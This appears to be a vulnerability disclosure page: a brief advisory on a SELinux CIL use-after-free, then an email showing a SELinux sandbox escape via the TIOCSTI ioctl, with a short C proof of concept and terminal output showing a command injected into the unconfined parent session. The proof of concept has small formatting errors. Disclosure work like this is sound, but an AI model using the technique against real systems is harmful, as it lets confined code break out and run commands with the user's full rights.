SELinux Project SELinux is vulnerable to a denial of service, caused by a use-after-free in cilresetclasspermission . By sending a specially-crafted request, a local attacker could exploit this vulnerability to cause a denial of service condition.

Hi,

When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c #include <unistd.h> #include <sys/ioctl.h>

int main() { char cmd = "id\n"; while(cmd) ioctl(0, TIOCSTI, cmd++); execlp("/bin/id", "id", NULL); }

$ gcc test.c -o test $ /bin/sandbox ./test id uid=1000 gid=1000 groups=1000 context=unconfinedu:unconfinedr:sandboxt:s0:c47,c176 [saken@ghetto ~]$ id <------ did not type this uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfinedu:unconfinedr:unconfinedt:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Thanks, Federico Bento.